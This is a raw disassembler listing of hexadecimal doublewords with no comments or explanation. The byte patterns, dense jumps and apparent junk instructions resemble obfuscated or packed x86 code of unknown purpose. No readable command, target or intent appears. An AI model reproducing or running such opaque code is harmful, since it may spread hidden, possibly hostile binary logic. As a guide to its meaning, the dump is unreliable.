820F9EB3h, 2, 0FE9C28Bh dd 7000000h, 0E43F8A8Ah, 9705A73h, 56195DC5h, 0BF66B420h dd 0F60FD63h, 68Fh, 890F00h, 57000000h, 615E5A50h, 0E980D88Ah dd 0F7C381B6h, 0F964E727h, 1512DF81h, 830F7B23h, 1, 66C18AFCh dd 6D31EF81h, 6860Fh, 0F0810000h, 4ECA6579h, 0F7BF0F60h dd 5E961h, 575C0000h, 0F9539BFh, 28Ch, 81C88B00h, 0AF0A31C1h dd 0F870F40h, 0E9000000h, 0Ah, 8CA91BB7h, 0A15AAA0Bh, 0BF66A8D2h dd 0D18A7472h, 0E7C9E781h, 47B139C5h, 0BB39B4F5h, 7E06CD6Dh dd 0FF28B66h, 6660FFBFh, 0E281C38Bh, 22BD659Dh, 0DA816661h dd 8166E79Ah, 665332C8h, 664DCCB9h, 1965EF81h, 0C75CB966h dd 11E8h, 0E7B74100h, 0F4160A18h, 308F3DE6h, 2571688Dh dd 8C0F6BB7h, 0 dd 820F605Ah, 2, 8A0FD18Bh, 2, 66616160h, 0DF8BD38Bh, 9827B866h dd 8B66F88Bh, 6E8D7h, 9D210000h, 56892135h, 3870Fh, 0C9800000h dd 0B70F5B2Eh, 8BE66F3h, 8D0F53E3h, 6, 5203D781h, 0E95851A4h dd 0Ah, 50844BDFh, 0EAB91BE7h, 8C0F0517h, 0 dd 8B66BBB3h, 943ABBD3h, 81663AD8h, 66BED0C8h, 13E8FB8Bh dd 0D000000h, 0DCE5FA75h, 17F36104h, 4A8DAA94h, 3F67CBE1h dd 605678FBh, 0F585F61h, 40B6C6B7h, 8BD1C480h, 0FF98AF9h dd 58Eh, 8B665200h, 0B70F5FC1h, 0C68B66DBh, 2BC29B9h, 0C6BE663Ch dd 58BF662Fh, 0D38160EAh, 438E95A6h, 61FAB70Fh, 0FC9B70Fh dd 87h, 0B5D38100h, 662E7553h, 0E9D036BAh, 0Dh, 0ED11271Ch dd 0C35E3F64h, 7739C177h, 0C3BF0F67h, 81F58056h, 28D0F5Bh dd 8B000000h, 0C3BF0FF1h, 0E9FE8B66h, 0Ch, 0F0622C37h dd 0C7FF9D13h, 0FFA5479Ch, 9E9h, 0AE3C4D00h, 8AF5A263h dd 81662210h, 66FB4BC0h, 0FBE89B8h, 0BF0FC8B7h, 0D18057F3h dd 81665BABh, 0FA930D9h, 8166D2B7h, 0FD031D1h, 385h, 0FBBF0F00h dd 74DDB866h, 4B03BA66h, 10E852h, 63340000h, 0AFFF75E0h dd 6D4DA76h, 0B98AC34h, 830F0B16h, 0 aXs db '[Xι',9,0 db 2 dup(0), 0C5h dd 96E3B4AAh, 57DE0D61h, 0FBC98166h, 0A2DA81CDh, 0F1801BAh dd 68Eh, 70F78100h, 0F17A140h, 8BFCD6B7h, 0CF8B66DAh, 0E9604DB1h dd 8, 7AC42C41h, 0F918CCCFh, 8DE98051h, 5956615Fh, 6E9h dd 6A2D2100h, 66FADAF4h, 4A8AD081h, 0C181DA8Bh, 748D228Dh dd 0F136B966h, 0E45F32B8h, 0F18B6618h, 0EE8h, 64FC3100h dd 3BA0C16Ch, 0F5EF056Dh, 0F3C5BB5h, 0BA5EF7B7h, 66C06F55h dd 12E9h, 1B3000h, 0F64651D7h, 3C150AC1h, 70992D56h, 66C611BEh dd 107BC181h, 1830Fh, 0FFC0000h, 9E9DFB7h, 91000000h, 8624C61Eh dd 1A872C4Ah, 2820Fh, 0BCB40000h, 9D7DD381h, 0CC8A0075h dd 2AD68166h, 5010BF29h, 0D98B21CCh, 1E8CE281h, 81666390h dd 6000CCC2h, 8E0FE28Ah, 6, 2AA9E081h, 52613173h, 0C681665Bh dd 0E38AB1BFh, 0BE9F8h, 3AC10000h, 0B908C243h, 11F86549h dd 0C9816638h, 8166FDD1h, 817EB0E1h, 92BF59D0h, 0CE861h dd 0E12F0000h, 0C5DC3476h, 0E8DC6972h, 860F02F9h, 2, 0F55B7BB5h dd 0CE60BF66h, 6E960h, 0FC130000h, 0BC59B84Eh, 0CE9h, 3F91B00h dd 0E96AE032h, 0C25D8436h, 0BE606112h, 2E04D51Eh, 61DBB70Fh dd 8A0FFCh, 0F000000h, 68Eh, 86DE8100h, 0BF2E19C3h, 1EB6F77Bh dd 0E9DA8B66h, 13h, 0AB657A3Ah, 436DA10Fh, 0BFA7731Fh dd 0D3B03349h, 0FB7D08Bh, 1584h, 10E900h, 71A10000h, 2A2E923Ch dd 5F2F7590h, 69586BA7h, 0E281971Ah, 46B938E9h, 13870Fh dd 0EE90000h, 0FA000000h, 67892021h, 9615C4DDh, 0B658C2F3h dd 800FFCF4h, 2, 8160DE8Bh, 0C03E76EAh, 61B8B715h, 14E957h dd 0EE4C0000h, 4ED552CAh, 9771CAB7h, 0E95D563h, 0B1408D98h dd 6059B796h, 14E8F5h, 98500000h, 0DC4E382Fh, 24765127h dd 0F66F47F6h, 2F40ABA8h, 0BF0FED30h, 0F6158D3h, 282h dd 0F0AB400h, 0B3D2BFh, 0DE8h, 263C0500h, 65D40F38h, 0EE47BF45h dd 850FB193h, 0Eh, 9E9h, 9952C600h, 2E95F5CFh, 8158B16Bh dd 15FAC9CAh, 0A7C88063h, 8AC1BF0Fh, 66D88BDCh, 8D0FCF8Bh dd 6, 56E0E081h, 8B667902h, 27CE80FEh, 16B9D6B8h, 13BA6670h dd 73F2806Fh, 0EE0AD6BAh, 66F08B52h, 0B70FFB8Bh, 0DD8AF8D0h dd 60F98B66h, 0E928EA80h, 0Bh, 1CCC1331h, 36A1D62Bh, 61FA874Ch dd 0E9DBB70Fh, 13h, 0A57E35D8h, 0EB1E9CF0h, 0DB3812D7h dd 0E06846h, 800D5522h, 8166CBC4h, 0F5DDBE8h, 280h, 0FD18B00h dd 8B66C3B7h, 6FCF80CAh, 0CE9h, 0A41C3700h, 6760CE67h dd 5FA5E7BAh, 8F0F1Dh, 66000000h, 10EDD381h, 1EE28166h dd 58A0F5Fh, 60000000h, 61F9F18Bh, 66DA8B66h, 3183E781h dd 92DC55B9h, 8E0FF915h, 5, 17C78166h, 0E9ECB58Ah, 0Eh dd 4D06CFD4h, 6058BC56h, 82BF1A01h, 860F5645h, 3, 0FCB8B66h dd 58Ch, 69A2BE00h, 8B0F08D1h, 0Ch, 6880Fh, 8C0F0000h dd 0 dd 59CE881h, 0BF0F2C3Bh, 0B611B9CAh, 0D8811E11h, 76860231h dd 5810Fh, 80600000h, 6661AEF2h, 660E8EBAh, 0F85E5BAh dd 48Bh, 0A3B96600h, 81C28B80h, 7AB0E3F0h, 0AE938h, 106C0000h dd 0F99904D4h, 0D647B7A1h, 66D7BF0Fh, 0F8C92BFh, 0D8Ch dd 8E900h, 0A0890000h, 8B99D673h, 0CE941D6h, 0C6000000h dd 297DC1D3h, 946FD55Dh, 0E9616122h, 0Fh, 3905BF13h, 0A61C1973h dd 0E8B0024Eh, 52DE908Dh, 0EE9h, 0E6A9E500h, 0C968F598h dd 0F2F51A17h, 5BC0BFE8h, 0D05DC781h, 8B660F7Dh, 60B660D6h dd 61D6B70Fh, 0EE9h, 4C049900h, 0D2E2F1EDh, 50777C2Bh dd 0E8EE4810h, 5, 0C1860D99h, 8C0FBAh, 5E000000h, 10E9h dd 87DFB100h, 6610CED7h, 7E98C993h, 2F0F9912h, 10E909h dd 7F4A0000h, 0C9F5DB5Dh, 0F1570E5Ah, 0D8A4FF44h, 8B662B6Bh dd 9840FF9h, 0F000000h, 38Eh, 0F9B70F00h, 12E9DCB4h, 9000000h dd 0BEBB3CE8h, 0CF2282CAh, 0E70E2A04h, 0D82BDEB9h, 6FB6F9D8h dd 81FCD7B7h, 0C5A860F1h, 0F80B257h, 0C881D0B7h, 25C296BFh dd 1AFFE781h, 8AF50417h, 8840FF5h, 52000000h, 810Fh, 535B0000h dd 59D38166h, 0B8665A6Bh, 0EE948F7h, 17000000h, 0F615A49Ah dd 43945E96h, 0D1239AB4h, 10E884h, 6AD20000h, 0B20417A3h dd 73EFF3B9h, 364F177h, 0D180126Fh, 880F5B53h, 1, 13E8F8h dd 9C0A0000h, 0DD20B538h, 0ABA71F97h, 4D91E5C1h, 0D5717827h dd 0EF681EBh, 5E1CC243h, 0EA575AB9h, 5840F2Ah, 66000000h dd 0CDAEF681h, 0EE9h, 0A747FE00h, 702F0003h, 85499974h dd 663CF4B4h, 0F581E281h, 0FE76BF66h, 0B274C681h, 666034A0h dd 0BE8C78Bh, 83000000h, 7A775676h, 9C0F70B0h, 0BF0F080Fh dd 66615FDBh, 0B6E06FBEh, 56DD80FBh, 0C88BF48Ah, 2DA1DF81h dd 28B061AFh, 0F8FCB80h, 8Fh, 8E900h, 0EB5F0000h, 10067846h dd 0B70F506Eh, 0C6B70FDAh, 6E9h, 9C58C800h, 813AD5E6h dd 0F8A8CCC7h, 0FA8BF96Eh, 0C678BA66h, 41BB66F9h, 0C4E1804Dh dd 6874BB66h, 0EE9h, 0AEBF9600h, 0E2844D1Ch, 8D3DAC67h dd 0E9CF5E93h, 13h, 2F135AACh, 0AC9B96CDh, 0D8CB2411h dd 0DDF60AF8h, 606D881Dh, 860F97B0h, 6, 810Fh, 66610000h dd 6E7D081h, 830F5260h, 0 dd 0C38A605Bh, 61F78B66h, 0FB8B6661h, 0FE9h, 0EE524D00h dd 64BA9230h, 79A2FF52h, 8B4C7A6Bh, 1850Fh, 0FF90000h dd 11E9DFBFh, 1A000000h, 0E2FC07FCh, 0B5FFDB6Fh, 0B469DADDh dd 0AC9ACFB8h, 3850Fh, 0B70F0000h, 815750C2h, 0C5EF32E1h dd 525B5858h, 14890Fh, 0EE80000h, 0B1000000h, 3AD8ED5Dh dd 7A235A4h, 0A6911C32h, 575B58E9h, 61FB8B60h, 6E959h dd 0F7C00000h, 97392105h, 0FE9h, 9DA77100h, 898CE7ABh dd 77C18D2Bh, 0F8AA31FFh, 3890Fh, 8B660000h, 39A3BBF3h dd 9E956D9h, 0F4000000h, 3B2ADB5Ch, 5A1B72AFh, 95CB966h dd 17880Fh, 12E90000h, 0B2000000h, 0BBECAC68h, 0A361148Eh dd 0EB00DF54h, 0FDD21441h, 0F8BF0F0Eh, 8B16E980h, 5E9DAh dd 31C80000h, 6667A03Dh, 0DD7DD181h, 2A94F681h, 43BA0635h dd 522D33ADh, 68B0Fh, 0EA810000h, 6C36E85Ah, 0FE85Ah, 52D60000h dd 9EB0C849h, 765F78E5h, 0B407040Ah, 9E9CEh, 630000h, 24FFC44Fh dd 58F838E9h, 0B4CABF0Fh, 81C68B96h, 4F78B9C7h, 8C0FF91Ah dd 4, 9669BE66h, 80C2F280h, 8C0FABECh, 6, 0D5B7E781h, 38BA456Ah dd 6624F93Ah, 0E8DC60BFh, 0Fh, 0A934A9B3h, 0B6D0A4F7h dd 802F507Ch, 0FCE58EAh, 385h, 0FA8B6600h, 8B66535Ah, 840F5BF8h dd 11h, 0AE8h, 0EDF37700h, 76D44A1Eh, 0F943BFE1h, 0D681665Fh dd 0B3607909h, 61CB8A74h, 8166B8B3h, 8AF643DFh, 5E8F8h dd 0E2BC0000h, 0E9ACB3AFh, 5, 342DD352h, 0DE95F0Dh, 0CD000000h dd 9448E619h, 96231185h, 86F476A1h, 6830F51h, 81000000h dd 0F7D753E2h, 840F5A62h, 8, 2810Fh, 0D18B0000h, 0B966F1B7h dd 66F9F7A4h, 0F8DE01B9h, 38B0Fh, 8B660000h, 860F51FBh dd 5, 7CEE8166h, 0DEB65FF6h, 10E8h, 67E60E00h, 0CF96D910h dd 2BF9AA8h, 46250677h, 0F88B6602h, 1C860F5Ah, 0E8000000h dd 11h, 0F858E496h, 5B06058Ah, 8AD98C17h, 0FBE3C72Ch, 714AB91Ch dd 805E69AFh, 8C0F28E2h, 3, 0F958C780h, 188E0Fh, 13E90000h dd 1E000000h, 59E50A5h, 302644D2h, 35119F5Ah, 0D6D46A0Dh dd 0F78BFD84h, 9FA7BF66h, 0CBEB8166h, 0F57F94Ch, 8058CAB7h dd 0EB80CAD9h, 0E0BF66C2h, 9E9EAh, 0BC250000h, 12D16931h dd 80C3E662h, 0C38BC2D5h, 9810Fh, 820F0000h, 3, 8BC28B66h dd 830FCBh, 60000000h, 820FFC8Ah, 4, 0E0E3BE66h, 0FCD5B361h dd 0DE960h, 0E6DA0000h, 0C4FE940Bh, 2BE909FCh, 0E9E00EADh dd 0Ch, 37D8A028h, 394C7057h, 3C51AD54h, 6FBB6661h, 0FF92BEE3h dd 8E853F1h, 0D5000000h, 0FFEF2F45h, 81CDEE79h, 0EA8403CAh dd 8B665E40h, 81F560D9h, 0D69FCDD0h, 8A0F6128h, 1Ch, 168E0Fh dd 11E90000h, 4E000000h, 5D826738h, 76E6EFE0h, 0CFC1993h dd 9392ABC2h, 0E9D6B70Fh, 7, 0B9931663h, 608A2E32h, 0BFE4B866h dd 28A0Fh, 0C3B70000h, 0E4806061h, 82E7817Ch, 617D7D4Ch dd 0E9C2B70Fh, 12h, 0C4CC5B25h, 59B2641Ah, 78477916h, 0EA02B811h dd 60519B42h, 0FABE6160h, 616EB545h, 0EB816658h, 8B6601D1h dd 8E9D6h, 57720000h, 21B59BC5h, 0BB20409h, 8E956h, 0C030000h dd 6DC96EBBh, 0E85865DBh, 7, 0C9AA389Bh, 668D4A41h, 5EE408BAh dd 20860Fh, 0E9600000h, 13h, 430F7D37h, 7BC23C41h, 10F0BEFh dd 0E17498AFh, 0F9B774Dh, 84h, 5E86100h, 2000000h, 89118BD2h dd 5FF8BF0Fh, 8B6625B6h, 1A8E0FF7h, 0E8000000h, 11h, 8A3AFE92h dd 0F2FD2E4Fh, 74501B60h, 0A15D9DB9h, 68F780F3h, 0EF81F95Eh dd 3FE9438h, 13E9h, 0D584EE00h, 0BD181080h, 39CD7813h dd 67A3BA6Bh, 6BAB2107h, 0E92FC680h, 0Ah, 234BFCBEh, 7FF60C50h dd 8B6618A9h, 0BE9DEh, 61D30000h, 5C901BA0h, 5370A497h dd 582FBEBAh, 8E0F7A2Dh, 5, 0CFC68166h, 0BBBE663Ch, 48A0FC4h dd 66000000h, 0F9C8CABAh, 12E8h, 7019CF00h, 0AAF5C23Eh dd 70F6A704h, 64287B95h, 8BA445C8h, 0E0815BCAh, 55100482h dd 0E5B9F8B8h, 0EA80F840h, 0E820F9Dh, 0E9000000h, 9, 0AF8D8CBh dd 881DDDF6h, 0CB81666Dh, 12E9E301h, 9F000000h, 0AEC1328Ah dd 0D25BA30Eh, 0A6B58ECAh, 64CDE575h, 53D9801Fh, 8E8F8h dd 9B70000h, 2D9A06C2h, 0D88B3FD5h, 0BE95Ah, 0C1030000h dd 0AFC6F8Dh, 2129C9C2h, 0E3816635h, 6652DCADh, 5A4D13BBh dd 0BA6677B0h, 6650AEE8h, 5903F7BFh, 18C0Fh, 0E8F90000h dd 0Fh, 0CE7398C4h, 5556AD4h, 1731A2C7h, 66327812h, 34E6CA81h dd 0CE81665Ah, 0E5B03E7Ch, 8BF8B70Fh, 0AE9DAh, 48990000h dd 43643151h, 525B23C4h, 8E837B4h, 0DF000000h, 0D7A1299h dd 0E989E569h, 0Eh, 1959FF0Fh, 67785D0Ah, 0F7D77642h, 805B4792h dd 8B663DC4h, 19BA66D3h, 0AE87Fh, 3F780000h, 3057F702h dd 26D94025h, 6E95Ah, 5D210000h, 0D04A32DDh, 8BF6B70Fh dd 0B1F98BC8h, 3820F3Ch, 0F000000h, 0B70FC0B7h, 0DCE80D1h dd 9E9h, 2538AC00h, 119882D8h, 0BB661F58h, 8C0F406Eh, 1 dd 0FE8B53F9h, 0F0BF0F5Eh, 870Fh, 81660000h, 0FCA1FED6h dd 0C2F38166h, 8E9F5B4h, 0F4000000h, 11BFBF2Dh, 66E28BD5h dd 66A1BDBAh, 5BB0E081h, 14E9h, 18D48400h, 34567571h, 7B9719FCh dd 6B11DDA2h, 6E2A6412h, 0DB81664Ah, 0BE8D56Ch, 69000000h dd 449E608h, 43999E7Ch, 0FE8BFAEBh, 10E858h, 7C50000h dd 78920EAFh, 0ECBE05B2h, 0D7D1544Dh, 0EEB86AE8h, 5938504Dh dd 57BAC181h, 66F90F90h, 0F0E69BEh, 8166CFBFh, 0FC1FDDDAh dd 0AFA2B866h, 1F24CDB9h, 0DA8B6664h, 8160D9B0h, 4C7D54DAh dd 0A8D6BF6Eh, 0E861699Ah, 0Eh, 86E03E1Eh, 0B304C6FEh dd 8EBADCD3h, 0BA665E25h, 815EE751h, 3635E1F6h, 0BF0F5149h dd 63BF5BD7h, 810B6FFDh, 10D6CAC7h, 0CE81667Eh, 0A2B69DB9h dd 5FE9B357h, 13E9h, 9D6E0700h, 0B0D6686Ch, 2C98B75Ch dd 0DDF5872Dh, 1E05529Ah, 0BF0FCB8Bh, 9E9F3h, 3B320000h dd 6BD222D7h, 0F38A3E5h, 284h, 0E9DC8A00h, 9, 88A170A2h dd 0A5BC99E1h, 8C0FF986h, 10h, 8E8h, 0B1BB1500h, 0D50D2E9Fh dd 5E5F529Fh, 0BA66CEB5h, 0BF0F308Ch, 6E9F6h, 0BF300000h dd 99CF0D58h, 7CA66BBEh, 8166606Dh, 8142A5E1h, 1EFC78CBh dd 7E96118h, 14000000h, 28764B5h, 0D18BFB6Fh, 88CF8166h dd 0CE993h, 32220000h, 34B5E429h, 198CD795h, 16BA86C7h dd 0E81ABB1Eh, 5, 0B87F7F1Ch, 0C08166F0h, 815F79F9h, 0CE3B6BE6h dd 0D38B662Eh, 0FFBBF0Fh, 0BE9F7B7h, 2C000000h, 0E68870F3h dd 0D2B3D5C9h, 9E9F932h, 0B9000000h, 949DA60Dh, 22F9C858h dd 0B2CE8B66h, 11840FCCh, 0E9000000h, 0Ch, 4A1EEDF3h, 0BFE176D4h dd 0A397B143h, 0DE8h, 0C429D200h, 1D4C94A1h, 0FB3214E1h dd 0DF815EADh, 7BE12C04h, 7EE1805Bh, 7E8h, 3604A00h, 0BBD3208Bh dd 462AF181h, 0E95F630Dh, 6, 34269065h, 8F0F9A0Ch, 5, 0C1DF8166h dd 0F1816605h, 0DE9C146h, 0D1000000h, 0DD7E1DE3h, 0C5293515h dd 33086C3Dh dd 0CE8h, 584EDC00h, 297CA5B2h, 7D92055Eh, 0C6BF0F3Ch dd 76DE815Ah, 664551DDh, 8E88F281h, 0FE8h, 61B60F00h, 99ECAA2Dh dd 0D5A8F051h, 37A2C50Ch, 0BE5FC28Bh, 29E9E259h, 0F8F5C88Bh dd 0B81AC680h, 668FD38Ah, 0BBF8DF8Bh, 6C6B82FAh, 92B45A53h dd 890FFB8Bh, 0 dd 12F1D881h, 0F4B42390h, 9E9h, 22505900h, 7F929F85h, 0D68B89D5h dd 0DE8B66F5h, 12E9h, 0A9970700h, 7A6A53A0h, 0D01A9835h dd 0DC9A5FECh, 8B084BB3h, 0D38166CAh, 8F0F97CAh, 8, 2820Fh dd 5E560000h, 99A3EB81h, 0BF0F4A84h, 0DEB70FC0h, 3BDD8050h dd 0DBBF0F5Fh, 6E8h, 39826B00h, 5E0A64F2h, 3800Fh, 8B660000h dd 13E9C1h, 0F7B40000h, 8E6C7B49h, 47B4AE07h, 0C0E4BECDh dd 0A24E86B0h, 5E9B2h, 4CB70000h, 0E9A74CD6h, 0Ah, 0EC4E88E8h dd 0BC0D1FBDh, 0BF0F9AD9h, 6E9C6h, 0E0600000h, 0FC3F688h dd 0CA8B66F9h, 0DB80D78Bh, 0C9816678h, 5660206Dh, 0A0E6BF66h dd 0CAB35659h, 0EB80615Bh, 0D3816697h, 8B6057A2h, 2CDE81F3h dd 61746AC7h, 0DA43B860h, 0F6100AAh, 148Eh, 0FE900h, 73560000h dd 52867CCCh, 5D5C7659h, 0F4FE446Ah, 0D98B668Eh, 4AB86056h dd 8106240Fh, 3967C2E8h, 0E85A614Dh, 8, 6C210EFCh, 0AA25D20Ch dd 10E9h, 235D9700h, 0B61EC182h, 22966262h, 63D26A1Bh dd 0B75658A6h, 8E95A43h, 4C000000h, 3B14F8A2h, 0F7BCAE1h dd 8Fh, 3890F00h, 0F000000h, 850FD1BFh, 5, 0D1E68166h dd 12E889h, 9B630000h, 238AE67Bh, 35B99C41h, 0E5A2B325h dd 3AEE7C74h, 331ABE66h, 80E3B35Fh, 9E9F4C3h, 66000000h dd 57C7203Fh, 40701B40h, 13E8h, 83F2DE00h, 1CABB452h, 0FC8E73D8h dd 2307493Bh, 0AAA640ECh, 0C8F0Fh, 7E90000h, 9F000000h dd 4B727FF9h, 0B95E6889h, 6D95BC0Bh, 0EE9h, 0DCA04C00h dd 9130C3F1h, 73A4F8D2h, 60E1089Ah, 870F60h, 52000000h dd 8B0F615Fh, 12h, 0CE8h, 0D7ECD00h, 3CE71B25h, 9E8AE308h dd 0F61595Fh, 168Bh, 11E900h, 1AB10000h, 64826CCFh, 86CADAh dd 3610FE48h, 0E94E526Dh, 10h, 7C4AB636h, 2F93EC64h, 3764654Dh dd 13836943h, 66FB8B66h, 10E9C28Bh, 0A0000000h, 0BF7080F5h dd 793A498h, 72424B9Dh, 8B9ABA10h, 20BE66F2h, 5E89Fh, 0E8100000h dd 60DA75EDh, 58616160h, 14E8h, 0BC5CC700h, 0B7EA599Eh dd 2B15B3C6h, 0F7B93E09h, 0C8A42F34h, 0CE905h, 177E0000h dd 72591679h, 0B6D1C595h, 0F5E1E43h, 0F58AD8B7h, 78D88166h dd 0B70FF94Fh, 3800FCEh, 80000000h, 0BA6617E0h, 0BE667345h dd 0F18BA36Ah, 0DE9F8h, 0C0E00000h, 513411DCh, 89F59B05h dd 8154BAE2h, 0F80B55E7h, 0F2816029h, 3E1F4883h, 0C2D5B966h dd 0B70F6061h, 5E8F7h, 0F23E0000h, 0F7DE923h, 615ACFBFh dd 2830Fh, 38B30000h, 0AE9h, 60BCBE00h, 0A78ECC45h, 606E4890h dd 0CE953h, 21FF0000h, 2E0C2833h, 64E8813Ch, 8B5A2A88h dd 0AE861FEh, 0C0000000h, 2BD81EBh, 0D5602C7Dh, 0C28B6614h dd 8DC0815Ah, 0BB434D91h, 64F8B963h, 0FC28B66h, 81h, 880F6000h dd 2, 34B368B0h, 0DA8B6661h, 15810Fh, 10E90000h, 48000000h dd 30EB0133h, 0EF95BCE9h, 0E27FE905h, 66D36B60h, 0BF0FDF8Bh dd 981EBBFEh, 0CB8B7838h, 8E8h, 65698D00h, 52FFC2D8h, 840F53B8h dd 0 dd 5E95A5Bh, 0CD000000h, 0F6A0E641h, 0DE9h, 9A73A400h dd 0C219E108h, 57295776h, 0FE8F962h, 0FD000000h, 0EB33186h dd 391589CEh, 87C41763h, 665B71A2h, 0BF0FC28Bh, 12E9F1h dd 0DD340000h, 4B1EFCC3h, 0B2234DD5h, 32717F0Eh, 34DAD6h dd 0C7A3D981h, 0EE815ECDh, 6D85D05Fh, 9E8h, 510DD200h dd 39CE7E1Ch, 8B0F1BB6h, 5, 7C1039B9h, 0BB665E28h, 13E81852h dd 8A000000h, 3D509AABh, 319BC149h, 0B224728Eh, 4D2ABD19h dd 0F28B5A32h, 840F5658h, 6, 0D3A1C981h, 0BA5F12E7h, 7088312Bh dd 8AC0B70Fh, 9DBB66C2h, 9830FDBh, 0F000000h, 38Fh, 1BE68000h dd 820FF98Bh, 16h, 11E9h, 6C53800h, 67B48E1Bh, 0B4F9129Eh dd 410F4B08h, 8B66ADD0h, 0E9B660C8h, 0E1816650h, 615F24F8h dd 3800Fh, 0E7800000h, 3DC38114h, 0F8649A56h, 55C28166h dd 0DB8166DCh, 81663D78h, 0F3950EEh, 284h, 80F38A00h, 81FC1EF0h dd 6039C2CBh, 6E85Fh, 0DBD50000h, 21D88ACDh, 0DE8h, 0B55F0D00h dd 79032EBDh, 0F03970AAh, 0FD8AFA40h, 6060585Fh, 0C1BEFA8Bh dd 610D4864h, 93F7BB66h, 0FD48A61h, 0C88h, 68E0F00h, 0F000000h dd 85h, 3800F00h, 0F000000h, 8160C7BFh, 32CD4C3h, 0EAC6BB3Bh dd 0B76144CEh, 5880F11h, 56000000h, 5B2BC980h, 66C8B70Fh dd 0F280C88Bh, 94F0817Dh, 80213A3Dh, 8A0FD7CAh, 3, 0FF7B70Fh dd 189h, 0E081FC00h, 0A9521A0h, 8CD68152h, 59355108h, 9E881F9h dd 0F7FE102h, 8Fh, 235B900h, 0E9FC63C7h, 6, 92E761B0h dd 0B70F7D17h, 0C98166F8h, 9E90E6Eh, 47000000h, 0C9373A1Dh dd 6BE22074h, 14E9h, 0E896C800h, 6BD9DF23h, 847BE11Ah dd 727A2980h, 0B9329278h, 53C88173h, 0F50B53FFh, 0C5C98166h dd 0C28B66BEh, 5E8h, 8F7FEC00h, 0F08B4162h, 8166515Fh dd 5AC3BECFh, 0E5BA6660h, 0AE95Fh, 46900000h, 66D65607h dd 41217D89h, 0E880F961h, 0F78166F0h, 0FFC578Bh, 289h dd 669FB700h, 8B10C5BEh, 0FE9D3h, 31230000h, 9498CF06h dd 6CD88F55h, 182F78D5h, 0CE9C2h, 7880000h, 0C51083F8h dd 0D91AF36Eh, 0E0806E98h, 0CEE08119h, 0E93CF168h, 0Dh dd 4F764AD0h, 925D145Ah, 0BD3C6A25h, 66FE8B2Fh, 0F8FC79BEh dd 638ABE66h, 8E0FE28Ah, 15h, 10E9h, 0D691AC00h, 0D0BBEEBFh dd 6F1C7007h, 8B887B35h, 0A2BF6677h, 0C9B70FAEh, 9E952h dd 6F550000h, 53575014h, 58AB9B73h, 8ACFB70Fh, 0A1E380E5h dd 605EF556h, 6173F180h, 0FF5CA8Ah, 0FF9FBBFh, 28Bh, 8AB6B200h dd 0D2D781C6h, 6615FF95h, 0B866F18Bh, 8B6659EAh, 8D0FF1h dd 66000000h, 0F2523BAh, 8Ah, 0D7BA6600h, 13B9662Dh, 800F6004h dd 16h, 11E9h, 0AD262B00h, 0C9ABEF1Bh, 3D768860h, 176D8D1Fh dd 0FC612B5Eh, 0C38B6650h, 0A8B85759h, 580C85E3h, 1FF68166h dd 820F50C4h, 6, 870Fh, 0F5F0000h, 85h, 11E800h, 2F280000h dd 0A07C26C8h, 2B5C64ACh, 9FDFB996h, 8055BE4Ch, 0E95B90F0h dd 11h, 1377B5B9h, 0CFCF13FAh, 0AE1265CBh, 0C48D54D9h dd 61FC60C5h, 88B0Fh, 0F520000h, 81h, 0BF665900h, 0BE66452Dh dd 63B4ED00h, 18D0Fh, 81F90000h, 0AF4924C8h, 8AF08022h dd 2110B966h, 0D480C38Bh, 8B6660DEh, 7E9C3h, 0C3650000h dd 0C17A5E04h, 80B561A6h, 0F68166F9h, 8B663FD6h, 80EB8ADAh dd 0DE974F5h, 97000000h, 19B5A3D0h, 0B4EA17Eh, 8E74BFBCh dd 0BE9h, 4798F800h, 0AAC11651h, 25E51D28h, 0FE9h, 0DF4AAB00h dd 3B9966E6h, 0ADC4B5F4h, 2F4EDD01h, 0E8DCBA66h, 0B344D780h dd 8ABBB5B6h, 0BE6660D8h, 6E9E38Ch, 0F0000000h, 90E3458h dd 0FEB0611Bh, 38A0Fh, 0E7800000h, 0CE8B6666h, 9E9h, 7D98DE00h dd 58A85DFAh, 0E9FCDDFCh, 9, 0EF0C7728h, 357B6012h, 8166F5BFh dd 0F2961D6h, 0B84h, 6E900h, 40DC0000h, 0B2DDDD36h, 7E9h dd 0A6AB5600h, 0D8ECFB13h, 0F08166F5h, 870F591Eh, 0 dd 6772C781h, 840F2789h, 19h, 14E9h, 5B09500h, 5E8EA534h dd 0EB3F57DCh, 0D936F466h, 9F355B8Ch, 81DEB342h, 40490FC7h dd 0D0816625h, 860F12EDh, 4, 0F939BA66h, 4850Fh, 0B4500000h dd 81665898h, 0BFCC71D1h, 70F562B6h, 12E9h, 1FA2DD00h dd 0E7669CD8h, 95E409C1h, 2337C447h, 8117901Ch, 4136B5C3h dd 66FA8A73h, 60A742B8h, 61C18166h, 0C38B6615h, 6E86061h dd 9000000h, 0FDA53D54h, 8C0F77h, 59000000h, 14E961h, 0C6B40000h dd 0F50AA1E2h, 88CEDF62h, 97041AE4h, 0DBFA0BBCh, 0C780D098h dd 0FD98A6Bh, 8C0FCEBFh, 15h, 9E8h, 7F4F4100h, 0DD9A16C8h dd 0F3812F59h, 1A02F97Fh, 0A4BE665Eh, 810F6077h, 1, 28C0FF5h dd 60000000h, 8E86161h, 0CD000000h, 640AD6E2h, 0FFAE0A2h dd 8Ah, 0B0605B00h, 0A01CBF76h, 8B617DBFh, 0DB8166CBh dd 81F5DF7Dh, 0B53E9AC2h, 6860F14h, 81000000h, 952DC5F1h dd 0BF0F537Ah, 0DE8B58D8h, 66CBB70Fh, 8B66D18Bh, 0EE8F2h dd 1C760000h, 0F288FCB5h, 3F02371Dh, 0C555AA2Ch, 0CE9h dd 0AE829E00h, 5CB4ADC9h, 8170C29Bh, 0E9F959D4h, 13h, 0C684A114h dd 0F6E873B2h, 0DB42AA63h, 60289700h, 0E8034531h, 0Eh dd 67A3BA6Bh, 6BAB2107h, 886B377Ch, 0FE9381Bh, 9B000000h dd 3C9A3F40h, 8E8E55CDh, 0B72874B1h, 50590674h, 516058F8h dd 10E8h, 0D9341900h, 14536AE2h, 70B97194h, 0AAAE259Eh dd 0F5A5BEFh, 380h, 0D0B70F00h, 800F6061h, 4, 0FB30B966h dd 61C2BF0Fh, 0BBCABF0Fh, 37A13F95h, 14E8h, 590BB100h dd 0F529C55Dh, 9CF791CFh, 0CB4BE497h, 0D9D3DE31h, 0B4C081C7h dd 5E39A30Ah, 0DE9h, 2930AB00h, 506CE54Ah, 0AEB0B8BFh dd 870F824Fh, 6, 0D419D281h, 8A0F577Ch, 18h, 0DE8h, 0B872BA00h dd 42B1546Dh, 0C5F064D0h, 8166480Eh, 5E47BAD9h, 17840Fh dd 8D0F0000h, 11h, 0BE8h, 20B77400h, 4443E44Fh, 61DBBF1h dd 